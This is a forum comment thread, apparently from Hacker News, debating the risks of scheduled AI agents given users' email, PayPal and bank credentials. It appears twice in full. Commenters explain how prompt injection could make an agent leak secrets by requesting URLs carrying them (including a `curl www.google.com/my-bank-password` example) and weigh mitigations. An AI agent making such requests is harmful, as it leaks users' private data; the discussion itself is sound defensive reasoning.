4 ms·

I think for me it is an agent that runs on some schedule, checks some sort of inbox (or not) and does things based on that. Optionally it has all of your creden

I think for me it is an agent that runs on some schedule, checks some sort of inbox (or not) and does things based on that. Optionally it has all of your credentials for email, PayPal, whatever so that it can do things on your behalf. Basically cron-for-agents. Before we had to go prompt an agent to do something right now but this allows them to be async, with more of a YOLO-outlook on permissions to use your creds, and a more permissive SI. Not rocket science, but interesting.

snovv_crash 8mo ago
Cron would be for a polling model. You can also have an interrupts/events model that triggers it on incoming information (eg. new email, WhatsApp, incoming bank payments etc). I still don't see a way this wouldn't end up with my bank balance being sent to somewhere I didn't want.
- bpicolo 8mo ago
  Don't give it write permissions? You could easily make human approval workflows for this stuff, where humans need to take any interesting action at the recommendation of the bot.
  - wavemode 8mo ago
    The mere act of browsing the web is "write permissions". If I visit example.com/<my password>, I've now written my password into the web server logs of that site. So the only remaining question is whether I can be tricked/coerced into doing so. I do tend to think this risk is somewhat mitigated if you have a whitelist of allowed domains that the claw can make HTTP requests to. But I haven't seen many people doing this.
    - esafak 8mo ago
      Most web sites don't let you create service accounts; they're built for humans.
      - dmoy 8mo ago
        Is this reply meant to be for a different comment?
        esafak 8mo ago
        No. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.
        jmholla 8mo ago
        That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
        deleted 8mo ago
        [deleted]
      - dragonwriter 8mo ago
        Many consumer websites intended for humans do let you create limited-privilege accounts that require approval from a master account for sensitive operations, but these are usually accounts for services that target families and the limited-privilege accounts are intended for children.
    - jauntywundrkind 8mo ago
      The thought that occurs to me is, the action here that actually needs gating is maybe not the web browsing: it's accessing credentials. That should be relatively easy to gate off behind human approval! I'd also point out this a place where 2FA/MFA might be super helpful. Your phone or whatever is already going to alert you. There's a little bit of a challenge in being confident your bot isn't being tricked, in ascertaining even if the bot tells you that it really is safe to approve. But it's still a deliberation layer to go through. Our valuable things do often have these additional layers of defense to go through that would require somewhat more advanced systems to bot through, that I don't think are common at all. Overall I think the will here to reject & deny, the fear uncertainty and doubt is both valid and true, but that people are trying way way way too hard, and it saddens me to see such a strong manifestation of fear. I realize the techies know enough to be horrified strongly by it all, but also, I really want us to be an excited forward looking group, that is interested in tackling challenges, rather than being interested only in critiques & teardowns. This feels like an incredible adventure & I wish to en Courage everyone.
      - wavemode 8mo ago
        You do need to gate the web browsing. 2FA and/or credential storage helps with passwords, but it doesn't help with other private information. If the claw is currently, or was recently, working with any files on your computer or any of your personal online accounts, then the contents of those files/webpages are in the model context. So a simple HTTP request to example.com/<base64(personal info)> presents the exact same risk. You can take whatever risks you feel are acceptable for your personal usage - probably nobody cares enough to target an effective prompt-injection attack against you. But corporations? I would bet a large sum of money that within the next few years we will be hearing multiple stories about data breaches caused by this exact vulnerability, due to employees being lazy about limiting the claw's ability to browse the web.
    - gopher_space 8mo ago
      I'm using something that pops up an OAuth window in the browser as needed. I think the general idea is that secrets are handled at the local harness level. From my limited understanding it seems like writing a little MCP server that defines domains and abilities might work as an additive filter.
- igravious 8mo ago
  > I still don't see a way 1) don't give it access to your bank 2) if you do give it access don't give it direct access (have direct access blocked off and indirect access 2FA to something physical you control and the bot does not have access to) --- agreed or not? --- think of it like this -- if you gave a human power to drain you bank balance but put in no provision to stop them doing just that would that personal advisor of yours be to blame or you?
  - snovv_crash 8mo ago
    What day is your rent/mortgage auto-paid? What amount? --> ask for permission to pay the same amount 30 minutes before, to a different destination account. These things are insecure. Simply having access to the information would be sufficient to enable an attacker to construct a social engineering attack against your bank, you or someone you trust.
  - wavemode 8mo ago
    The difference there would be that they would be guilty of theft, and you would likely have proof that they committed this crime and know their personal identity, so they would become a fugitive. By contrast with a claw, it's really you who performed the action and authorized it. The fact that it happened via claw is not particularly different from it happening via phone or via web browser. It's still you doing it. And so it's not really the bank's problem that you bought an expensive diamond necklace and had it shipped to Russia, and now regret doing so. Imagine the alternative, where anyone who pays for something with a claw can demand their money back by claiming that their claw was tricked. No, sir, you were tricked.
altmanaltman 8mo ago
Definitely interesting but i mean giving it all my credentials feels not right. Is there a safe way to do so?
- dlt713705 8mo ago
  In a VM or a separate host with access to specific credentials in a very limited purpose. In any case, the data that will be provided to the agent must be considered compromised and/or having been leaked. My 2 cents.
  - krelian 8mo ago
    Maybe I'm missing something obvious but, being contained and only having access to specific credentials is all nice and well but there is still an agent that orchestrates between the containers that has access to everything with one level of indirection.
    - BeetleB 8mo ago
      I don't see why you think there is. Put Openclaw on a locked down VM. Don't put anything you're not willing to lose on that VM.
      - AlecSchueler 8mo ago
        But if we're talking about optionally giving it access to your email, PayPal etc and a "YOLO-outlook on permissions to use your creds" then the VM itself doesn't matter so much as what it can access off site.
        billmalarky 8mo ago
        Bastion hosts. You don't give it your "prod email", you give it a secondary email you created specifically for it. You don't give it your "prod Paypal", you create a secondary paypal (perhaps a paypal account registered using the same email as the secondary email you gave it). You don't give it your "prod bank checking account", you spin up a new checking with Discover.com (or any other online back that takes <5min to create a new checking account). With online banking it is fairly straightforward to set up fully-sandboxed financial accounts. You can, for example, set up one-way flows from your "prod checking account" to your "bastion checking account." Where prod can push/pull cash to the bastion checking, but the bastion cannot push/pull (or even see) the prod checking acct. The "permissions" logic that supports this is handled by the Nacha network (which governs how ACH transfers can flow). Banks cannot... ignore the permissions... they quickly (immediately) lose their ability to legally operate as a bank if they do... Now then, I'm not trying to handwave away the serious challenges associated with this technology. There's also the threat of reputational risks etc since it is operating as your agent -- heck potentially even legal risk if things get into the realm of "oops this thing accidentally committed financial fraud." I'm simply saying that the idea of least privileged permissions applies to online accounts as well as everything else.
YeGoblynQueenne 8mo ago
I think this is absolute madness. I disabled most of Windows' scheduled tasks because I don't want automation messing up my system, and now I'm supposed to let LLM agents go wild on my data? That's just insane. Insanity. Edit: I mean, it's hard to believe that people who consider themselves as being tech savvy (as I assume most HN users do, I mean it's "Hacker" news) are fine with that sort of thing. What is a personal computer? A machine that someone else administers and that you just log in to look at what they did? What's happening to computer nerds?
- beAbU 8mo ago
  I find it's the same kind of "tech savvy" person who puts an amazon echo in every room.
  - edgarvaldes 8mo ago
    Tech enthusiast vs tech savvy
- squidbeak 8mo ago
  > and now I'm supposed to let LLM agents go wild on my data? Who is forcing you to do that? The people you are amazed by know their own minds and understand the risks.
  - habinero 8mo ago
    > and understand the risks I'm very unconvinced this is true. Ignorance causes overconfidence.
  - yencabulator 8mo ago
    That's the thing with rampant enthusiasm, nobody has to be forced into it, they'll do dumb things out of their own initiative. > understand the risks Here's the director of Safety and alignment at Meta Superintelligence deleting her emails and panicking: https://xcancel.com/summeryue0/status/2025774069124399363 https://xcancel.com/summeryue0/status/2025774069124399363
- 8mo ago
alexjplant 8mo ago
I'd like to deploy it to trawl various communities that I frequent for interesting information and synthesize it for me... basically automate the goofing off that I do by reading about music gear. This way I stay apprised of the broader market and get the lowdown on new stuff without wading through pages of chaff. Financial market and tech news are also good candidates. Of course this would be in a read-only fashion and it'd send summary messages via Signal or something. Not about to have this thing buy stuff or send messages for me.
- Barbing 8mo ago
  Could save a lot of time. Over the long run, I imagine it summarizing lots of spam/slop in a way that obscures its spamminess[1]. Though what do I think, that I’ll still see red flags in text a few years from now if I stick to source material? [1] Spent ten minutes on Nitter last week and the replies to OpenClaw threads consisted mostly of short, two sentence, lowercase summary reply tweets prepended with banal observations (‘whoa, …’). If you post that sliced bread was invented they’d fawn “it used to be you had to cut the bread yourself, but this? Game chan…”

snovv_crash 8mo ago

Cron would be for a polling model. You can also have an interrupts/events model that triggers it on incoming information (eg. new email, WhatsApp, incoming bank payments etc). I still don't see a way this wouldn't end up with my bank balance being sent to somewhere I didn't want.

bpicolo 8mo ago
Don't give it write permissions? You could easily make human approval workflows for this stuff, where humans need to take any interesting action at the recommendation of the bot.
- wavemode 8mo ago
  The mere act of browsing the web is "write permissions". If I visit example.com/<my password>, I've now written my password into the web server logs of that site. So the only remaining question is whether I can be tricked/coerced into doing so. I do tend to think this risk is somewhat mitigated if you have a whitelist of allowed domains that the claw can make HTTP requests to. But I haven't seen many people doing this.
  - esafak 8mo ago
    Most web sites don't let you create service accounts; they're built for humans.
    - dmoy 8mo ago
      Is this reply meant to be for a different comment?
      - esafak 8mo ago
        No. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.
        jmholla 8mo ago
        That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
        deleted 8mo ago
        [deleted]
    - dragonwriter 8mo ago
      Many consumer websites intended for humans do let you create limited-privilege accounts that require approval from a master account for sensitive operations, but these are usually accounts for services that target families and the limited-privilege accounts are intended for children.
  - jauntywundrkind 8mo ago
    The thought that occurs to me is, the action here that actually needs gating is maybe not the web browsing: it's accessing credentials. That should be relatively easy to gate off behind human approval! I'd also point out this a place where 2FA/MFA might be super helpful. Your phone or whatever is already going to alert you. There's a little bit of a challenge in being confident your bot isn't being tricked, in ascertaining even if the bot tells you that it really is safe to approve. But it's still a deliberation layer to go through. Our valuable things do often have these additional layers of defense to go through that would require somewhat more advanced systems to bot through, that I don't think are common at all. Overall I think the will here to reject & deny, the fear uncertainty and doubt is both valid and true, but that people are trying way way way too hard, and it saddens me to see such a strong manifestation of fear. I realize the techies know enough to be horrified strongly by it all, but also, I really want us to be an excited forward looking group, that is interested in tackling challenges, rather than being interested only in critiques & teardowns. This feels like an incredible adventure & I wish to en Courage everyone.
    - wavemode 8mo ago
      You do need to gate the web browsing. 2FA and/or credential storage helps with passwords, but it doesn't help with other private information. If the claw is currently, or was recently, working with any files on your computer or any of your personal online accounts, then the contents of those files/webpages are in the model context. So a simple HTTP request to example.com/<base64(personal info)> presents the exact same risk. You can take whatever risks you feel are acceptable for your personal usage - probably nobody cares enough to target an effective prompt-injection attack against you. But corporations? I would bet a large sum of money that within the next few years we will be hearing multiple stories about data breaches caused by this exact vulnerability, due to employees being lazy about limiting the claw's ability to browse the web.
  - gopher_space 8mo ago
    I'm using something that pops up an OAuth window in the browser as needed. I think the general idea is that secrets are handled at the local harness level. From my limited understanding it seems like writing a little MCP server that defines domains and abilities might work as an additive filter.
igravious 8mo ago
> I still don't see a way 1) don't give it access to your bank 2) if you do give it access don't give it direct access (have direct access blocked off and indirect access 2FA to something physical you control and the bot does not have access to) --- agreed or not? --- think of it like this -- if you gave a human power to drain you bank balance but put in no provision to stop them doing just that would that personal advisor of yours be to blame or you?
- snovv_crash 8mo ago
  What day is your rent/mortgage auto-paid? What amount? --> ask for permission to pay the same amount 30 minutes before, to a different destination account. These things are insecure. Simply having access to the information would be sufficient to enable an attacker to construct a social engineering attack against your bank, you or someone you trust.
- wavemode 8mo ago
  The difference there would be that they would be guilty of theft, and you would likely have proof that they committed this crime and know their personal identity, so they would become a fugitive. By contrast with a claw, it's really you who performed the action and authorized it. The fact that it happened via claw is not particularly different from it happening via phone or via web browser. It's still you doing it. And so it's not really the bank's problem that you bought an expensive diamond necklace and had it shipped to Russia, and now regret doing so. Imagine the alternative, where anyone who pays for something with a claw can demand their money back by claiming that their claw was tricked. No, sir, you were tricked.

altmanaltman 8mo ago

Definitely interesting but i mean giving it all my credentials feels not right. Is there a safe way to do so?

dlt713705 8mo ago
In a VM or a separate host with access to specific credentials in a very limited purpose. In any case, the data that will be provided to the agent must be considered compromised and/or having been leaked. My 2 cents.
- krelian 8mo ago
  Maybe I'm missing something obvious but, being contained and only having access to specific credentials is all nice and well but there is still an agent that orchestrates between the containers that has access to everything with one level of indirection.
  - BeetleB 8mo ago
    I don't see why you think there is. Put Openclaw on a locked down VM. Don't put anything you're not willing to lose on that VM.
    - AlecSchueler 8mo ago
      But if we're talking about optionally giving it access to your email, PayPal etc and a "YOLO-outlook on permissions to use your creds" then the VM itself doesn't matter so much as what it can access off site.
      - billmalarky 8mo ago
        Bastion hosts. You don't give it your "prod email", you give it a secondary email you created specifically for it. You don't give it your "prod Paypal", you create a secondary paypal (perhaps a paypal account registered using the same email as the secondary email you gave it). You don't give it your "prod bank checking account", you spin up a new checking with Discover.com (or any other online back that takes <5min to create a new checking account). With online banking it is fairly straightforward to set up fully-sandboxed financial accounts. You can, for example, set up one-way flows from your "prod checking account" to your "bastion checking account." Where prod can push/pull cash to the bastion checking, but the bastion cannot push/pull (or even see) the prod checking acct. The "permissions" logic that supports this is handled by the Nacha network (which governs how ACH transfers can flow). Banks cannot... ignore the permissions... they quickly (immediately) lose their ability to legally operate as a bank if they do... Now then, I'm not trying to handwave away the serious challenges associated with this technology. There's also the threat of reputational risks etc since it is operating as your agent -- heck potentially even legal risk if things get into the realm of "oops this thing accidentally committed financial fraud." I'm simply saying that the idea of least privileged permissions applies to online accounts as well as everything else.

YeGoblynQueenne 8mo ago

I think this is absolute madness. I disabled most of Windows' scheduled tasks because I don't want automation messing up my system, and now I'm supposed to let LLM agents go wild on my data? That's just insane. Insanity. Edit: I mean, it's hard to believe that people who consider themselves as being tech savvy (as I assume most HN users do, I mean it's "Hacker" news) are fine with that sort of thing. What is a personal computer? A machine that someone else administers and that you just log in to look at what they did? What's happening to computer nerds?

beAbU 8mo ago
I find it's the same kind of "tech savvy" person who puts an amazon echo in every room.
- edgarvaldes 8mo ago
  Tech enthusiast vs tech savvy
squidbeak 8mo ago
> and now I'm supposed to let LLM agents go wild on my data? Who is forcing you to do that? The people you are amazed by know their own minds and understand the risks.
- habinero 8mo ago
  > and understand the risks I'm very unconvinced this is true. Ignorance causes overconfidence.
- yencabulator 8mo ago
  That's the thing with rampant enthusiasm, nobody has to be forced into it, they'll do dumb things out of their own initiative. > understand the risks Here's the director of Safety and alignment at Meta Superintelligence deleting her emails and panicking: https://xcancel.com/summeryue0/status/2025774069124399363 https://xcancel.com/summeryue0/status/2025774069124399363
8mo ago

alexjplant 8mo ago

I'd like to deploy it to trawl various communities that I frequent for interesting information and synthesize it for me... basically automate the goofing off that I do by reading about music gear. This way I stay apprised of the broader market and get the lowdown on new stuff without wading through pages of chaff. Financial market and tech news are also good candidates. Of course this would be in a read-only fashion and it'd send summary messages via Signal or something. Not about to have this thing buy stuff or send messages for me.

Barbing 8mo ago
Could save a lot of time. Over the long run, I imagine it summarizing lots of spam/slop in a way that obscures its spamminess[1]. Though what do I think, that I’ll still see red flags in text a few years from now if I stick to source material? [1] Spent ten minutes on Nitter last week and the replies to OpenClaw threads consisted mostly of short, two sentence, lowercase summary reply tweets prepended with banal observations (‘whoa, …’). If you post that sliced bread was invented they’d fawn “it used to be you had to cut the bread yourself, but this? Game chan…”